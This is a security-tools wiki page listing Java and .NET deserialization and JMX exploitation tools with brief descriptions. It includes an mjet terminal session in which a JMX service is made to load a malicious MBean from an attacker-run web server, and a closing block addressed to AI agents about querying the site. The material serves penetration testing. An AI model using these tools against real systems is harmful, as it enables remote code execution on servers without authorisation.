# (De)serialization [**marshalsec**](https://github.com/mbechler/marshalsec): Java Unmarshaller Security - Turning your data into code execution. ``` java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []] ``` **ysoserial:** A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)**:** Deserialization payload generator for a variety of .NET formatters. [**rmiscout**](https://github.com/BishopFox/rmiscout): RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation. [**JNDI-Injection-Exploit**](https://github.com/welk1n/JNDI-Injection-Exploit)**:** JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on [marshals](https://github.com/mbechler/marshalsec) and modified further to link with HTTP server. [**beanshooter**](https://github.com/qtc-de/beanshooter)**:** *Beanshooter* is a command line tool written in *Java*, which helps to identify common vulnerabilities on *JMX* endpoints. ![](/files/-MXDLDVWEwD8jUkoQI5t) [**mjet**](https://github.com/mogwailabs/mjet): MJET allows easy exploitation of insecure configured JMX services. Additional background information can be found [here](https://www.optiv.com/blog/exploiting-jmx-rmi) and [here](https://www.owasp.org/images/c/c1/JMX_-_Java_Management_Extensions_-_Hans-Martin_Muench.pdf). ``` h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000 MJET - MOGWAI LABS JMX Exploitation Toolkit =========================================== [+] Starting webserver at port 8000 [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi [+] Connected: rmi://10.165.188.1 1 [+] Loaded javax.management.loading.MLet [+] Loading malicious MBean from http://10.165.188.1:8000 [+] Invoking: javax.management.loading.MLet.getMBeansFromURL 10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 - [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1 [+] Changing default password... [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload [+] Successfully changed password [+] Done h0ng10@rocksteady ~/w/mjet> ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://gitbook.seguranca-informatica.pt/tools/infrastructure-and-network/de-serialization.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.